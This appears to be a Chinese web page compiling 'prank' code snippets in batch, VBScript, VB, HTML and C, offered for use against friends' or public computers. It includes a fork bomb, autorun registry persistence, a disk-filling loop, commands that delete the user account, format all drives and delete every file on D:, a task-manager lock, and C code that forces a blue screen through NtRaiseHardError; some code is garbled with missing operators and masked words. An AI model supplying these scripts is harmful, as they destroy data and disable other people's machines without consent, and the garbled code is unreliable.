文章大纲：

• 1、bat整人代码
• 2、手机 *** 的整人代码大全
• 3、给一些VB整人的代码
• 4、整人代码大全
• 5、求一个C语言整人代码！！！
• 6、有哪些代码可以在手机钉钉上整蛊好友

bat整人代码

注意条款：全部代码没有正常解除方式，会对机器造成伤害，在实体机上实验概不负责！

@echo off

echo 开始

:2

start cmd.exe

goto 2

就是主要是利用goto 来跳转到:2

循环跳转...就是循环用start 打开CMD ^^

友情提示...死机不负责.......

也可以利用

别的

@echo off

net user

%0

这里的核心是%0 他表示本身 就是循环运行本身^^

这里循环运行net user

上面主要把别人电脑整死机

下面我们利用修改注册表来恶整

常见修改注册表

就是开机加载 这世界人都知道

@echo off

echo wahaha

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ctfmon.exe(开机加载文件的名字) /d C:\WINDOWS\system32\ctfmon.exe(这里是开机加载文件的路径)

这里可以添加一个开始我们弄的哪个strat 这个

@echo off

echo echo 开始 c:\windows\cnhacker.bat

echo :2 c:\windows\cnhacker.bat

echo start cmd.exe c:\windows\cnhacker.bat

echo goto 2c:\windows\cnhacker.bat

这里自动在windows下生成cnhacker.bat

然后利用上面开机加载 写起...就OK拉

修改IE栏

reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "window title" /t REG_SZ /d "要改的名字...." /f

屏蔽修改主页那里

reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v HOMEPAGE /t REG_DWORD /d 00000001 /f

简单硬盘炸弹(多生成垃圾文章)

echo off

set a=0

:22

set /a a=%a%+1

echo laji C:\%a%.txt

goto 22

如何要效果好 更好加一段vbs代码 隐藏运行 在C盘制造大量的垃圾TXT文件

修改不电脑显示

REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f

把00000000 改成00000001 就可以恢复

这段大家不要实验......

就是利用%username%

net user %username% /del (删除当前使用的用户 不可以直接删除ADMINISTRATOR用户外)

造成你电脑上面ADMINISTRATOR桌面资料丢失

net user %username% /add

NET LOCALGROUP ADMINISTRATORS %username% /add

强行结束 *** ss.exe 进程

ntsd -c q -pn *** ss.exe (结束该进程你的电脑即将卡死鼠标不能用)

shutdown -a (放弃关闭计算机)

危险不要实验

迅速格式所有盘符

for /f %%i in (d:,e:f:g:h:) do format /q /y %%i

这个必须要利用记事本保存 然后.bat 才能够执行 在CMD下面 无法执行

这些都是病毒常见修改注册表的位置和脚本喜欢改的地方...比较常见!~~

颜色属性由两个十六进制数字指定 --

之一个为背景，第二个则为前景。

每个数字可以为以下任何值之一:

例如color 0d 它就是黑色背景 淡紫色字体

0 = 黑色 8 = 灰色

1 = 蓝色 9 = 淡蓝色

2 = 绿色 A = 淡绿色

3 = 湖蓝色 B = 淡浅绿色

4 = 红色 C = 淡红色

5 = 紫色 D = 淡紫色

6 = 黄色 E = 淡黄色

7 = 白色 F = 亮白色

手机 *** 的整人代码大全

之一步，将以下代码复制到记事本中。

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true

dim a

do while(a "潮流哥特")

a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自

第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）

如果谁运行了这个 *** 炸弹，在30秒后会自动关机。

下面说一下使用 *** ：

最简单的使用 *** 是，你直接发给好友，让他运行，然后他就中招了。

WScript.Echo("谁令你打开这个软件的")

WScript.Echo("这个软件会让你无聊啊！")

WScript.Echo("推荐你来的肯定是个坏蛋！")

WScript.Echo("欢迎来到被整软件站！")

WScript.Echo("是谁设计的？")

WScript.Echo("Is me")

WScript.Echo("你好，你要点30次确定哦！")

WScript.Echo("1")

WScript.Echo("2")

WScript.Echo("3")

WScript.Echo("begin")

给一些VB整人的代码

VB整人经典代码

此代码锁定了任务管理器，想关闭只有重新启动电脑，恶搞你的好友，或者骚扰你

Private Sub Form_Load()

Open Environ$("WinDir") "\system32\taskmgr.exe" For Binary As #1

For m = 1 To 999

MsgBox "呵呵，你知道我是谁吗？", 16

MsgBox "什么？？不知道？", 16

MsgBox "那你打开 *** 什么？", 16

MsgBox "你有空没事做吧？！", 16

MsgBox "我..就是鼎鼎大名的987876198", 16

MsgBox "987876198..", 16

MsgBox "现在你把它打开了觉得后悔了吧？呵呵..", 16

MsgBox "算了算了，不玩你了", 16

MsgBox "现在我数3声就闪人,行了吧?", 16

MsgBox "1.............", 16

MsgBox "2.............", 16

MsgBox "3.............", 16

MsgBox "噔噔噔噔,我又回来了！", 16

MsgBox "哈哈，是不是很过瘾呢？", 16

MsgBox "现在我先介绍下自己..", 16

MsgBox "我叫王得地..", 16

MsgBox "性别：男..", 16

MsgBox "今年35岁..", 16

MsgBox "不好意思噢，我好像说多了..", 16

MsgBox "不要这样喇，听我说完先好不？", 16

MsgBox "来来来，开始喇..", 16

MsgBox "我叫王得地..", 16

MsgBox "家中有屋又有田..", 16

MsgBox "生活乐无边..", 16

MsgBox "好像我又说多了...", 16

MsgBox "不要生气嘛，你认真看下去我就放你走..", 16

MsgBox "好，开始喇..", 16

MsgBox "从前有座山..", 16

MsgBox "山里有个座庙..", 16

MsgBox "庙里有个和尚..", 16

MsgBox "哈哈，想哭吗？", 16

MsgBox "被骗的感觉不爽吧？", 16

MsgBox "喂喂喂！别别..千万别重启电脑", 16

MsgBox "我告诉你怎么关吧", 16

MsgBox "先打开任务管理器", 16

MsgBox "忘了告诉你了，任务管理器打不开了", 16

MsgBox "别恨我啊你不小心", 16

MsgBox "电脑重新启动吧", 16

MsgBox "相信我吧,你知道我是不会骗人的", 16

MsgBox "如果你还想继续点的话,你就别听我的", 16

MsgBox "呵呵,我又没有说这个东西没有", 16

MsgBox "我只想说桌面没有罢了..", 16

MsgBox "嘻嘻,爽不爽吖?", 16

MsgBox "对着电脑屏幕大声说低调大好人", 16

MsgBox "不然,我就没办法的咯", 16

MsgBox "因为我把循环设置成99了", 16

MsgBox "想保存电脑数据只有继续点了", 16

MsgBox "绝对会出到去的", 16

MsgBox "好了,废话不多说了,祝你好运..", 16

MsgBox " *** :低调不倒", 16

MsgBox " *** ：987876198", 16

MsgBox "E-mail:不告诉你", 16

MsgBox "好,继续循环..", 16

Next

End Sub

整人代码大全

01

【代码一】

你打开好友的聊天对话框,然后记下在你 *** 里好友的昵称，把下面代码里的xx替换一下，就可以自定义发送 *** 信息到好友的次数(代码里的数字10改一下即可)。

代码如下：

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("与 xx 聊天中")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

next

wscript.quit

02

【代码二】

我就用这个程序放在学校图书馆查询书刊的机器上，好多人都拿它没办法。

do

msgbox "You are foolish!"

loop

03

【代码三】

打开无数个计算器，直到死机。

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

04

【代码四】

直接关机。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

05

【代码五】

删除D:\所有文件。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

06

【代码六】

不断弹出窗口

while(1)

msgbox "哈哈 你被耍了！"

loop

07

【代码七】

不断按下alt+f4（开什么都关闭）。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

08

【代码八】

按500次回车 （以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改）。

dim s

do until s=500

s=s+1

msgbox "哥们，给我按500次回车吧",64

loop

09

【代码九】

如果把他发给你的 *** 好友 他不懂的话 如果不输我是猪 电脑就会在你设定的

时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法。代码如下:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true

dim a

do while(a "我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""　","说不说","",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"

10

【代码十】

网页整人效果代码，想看效果，只要复制这下面的所有代码保存在text文件里，修改文件后缀为txt就能看到效果了。

html

head

meta http-equiv="Content-Type" content="text/html; charset=gb2312"

title网页特效|Linkweb.cn/Js|---很恶心的常见整人效果/title

/head

body

a href="" onMouseover="alert('为什么把鼠标放到这里?');

alert('我不是说过不可以这样吗？');

alert('你把我的话当什么了？');

alert('你知道错了吗？');

alert('什么？你居然....');

alert('居然还没意识到自己做错了？');

alert('那好，你要为此付出代价!');

alert('我要你在这里点足一千下......');

alert('什么？你开始有点后悔了？');

alert('何必呢？');

alert('你当初干什么去了？');

alert('不原谅你！');

alert('好从现在开始再点995下......');

alert('你的手开始累了吗?');

alert('什么？你已经没力气了？');

alert('你一直在求我原谅你啊！');

alert('看来你是真的知道错了!');

alert('下次你还会这么做吗？');

alert('真的不会了？');

alert('那好，今天就放你一马！');

alert('写封信给我说声对不起!');

alert('你能这么做我很高兴!!!');

document.bgColor='black';

document.fgColor='White';

window.location.href='mailto:mygod@god?subject=对不起,下次不敢了!';"不许把鼠标移到这里/a

/body

/html

求一个C语言整人代码！！！

先上代码

#include Windows.h

#include time.h

using namespace std;

int call;

int ScreenWidth = GetSystemMetrics( *** _CXSCREEN);

int ScreenHeight = GetSystemMetrics( *** _CYSCREEN);

int IconWidth = GetSystemMetrics( *** _CXICON);

int IconHeight = GetSystemMetrics( *** _CYICON);

HDC hdc=GetWindowDC(GetDesktopWindow());

#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME)  0x8000) ? 1:0)

int random(int upper_bound) {

 if(upper_bound==0) {

  return 0;

 }

 srand((unsigned)(time(NULL) * clock() * rand()*call + time(NULL) + rand()+call));

 call++;

 return rand() % upper_bound;

}

DWORD WINAPI FlashDesktop(LPVOID Param) {

 while(true) {

  BitBlt(hdc, 0, 0, ScreenWidth, ScreenHeight, hdc, 0, 0, NOTSRCCOPY);

  Sleep(random(100));

 }

 return 0;

}

int GetWay() {

 int r=random(3);

 switch(r) {

  case 0:

   return SRCAND;

  case 1:

   return SRCINVERT;

  case 2:

   return SRCPAINT;

 }

}

DWORD WINAPI ScreenXorOperation1(LPVOID Param) {

 while(true) {

  int RandWidth = random(ScreenWidth);

  int RandHeight = random(ScreenHeight);

  int RandxPixel = random(ScreenWidth - RandWidth);

  int RandyPixel = random(ScreenHeight - RandHeight);

  int RandDestxPixel = random(ScreenWidth - RandWidth);

  int RandDestyPixel = random(ScreenHeight - RandHeight);

  BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);

  Sleep(random(100));

 }

 return 0;

}

DWORD WINAPI ScreenXorOperation2(LPVOID Param) {

 while(true) {

  int RandWidth = random(ScreenWidth);

  int RandHeight = random(ScreenHeight);

  int RandxPixel = random(ScreenWidth - RandWidth) + RandWidth;

  int RandyPixel = random(ScreenHeight - RandHeight) + RandHeight;

  int RandDestxPixel = random(ScreenWidth - RandWidth) + RandWidth;

  int RandDestyPixel = random(ScreenHeight - RandHeight) + RandHeight;

  BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);

  Sleep(random(100));

 }

 return 0;

}

DWORD WINAPI CallBsod1MinLater(LPVOID Param) {

 Sleep(60000);

 HMODULE ntdll = LoadLibrary("ntdll.dll");

 FARPROC RtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");

 FARPROC NtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");

 unsigned char temp0;

 long unsigned int temp1;

 ((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)(0x13, true, false, temp0);

 ((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)(0xc000021a, 0, 0, 0, 6, temp1);

 return 0;

}

DWORD WINAPI DrawErrors(LPVOID Param) {

 while(true) {

  int RandxPixel = random(ScreenWidth - IconWidth / 2);

  int RandyPixel = random(ScreenHeight - IconHeight / 2);

  DrawIcon(hdc, RandxPixel, RandyPixel, LoadIcon(NULL, IDI_ERROR));

  Sleep(random(50));

 }

 return 0;

}

int main(void) {

 CreateThread(NULL, 4096, FlashDesktop, NULL, NULL, NULL);

 CreateThread(NULL, 4096, ScreenXorOperation1, NULL, NULL, NULL);

 CreateThread(NULL, 4096, ScreenXorOperation2, NULL, NULL, NULL);

 CreateThread(NULL, 4096, CallBsod1MinLater, NULL, NULL, NULL);

 CreateThread(NULL, 4096, DrawErrors, NULL, NULL, NULL);

 while(true);

}

运行这段代码首先会花屏并闪屏，一分钟后蓝屏。

效果图：

有哪些代码可以在手机钉钉上整蛊好友

2356代码可以在手机钉钉上整蛊好友。钉钉弹出框里面有一个愚弄人的小程序，把它添加到自己的对话框里，发出整人的语音或者图片，填写代码2356即可。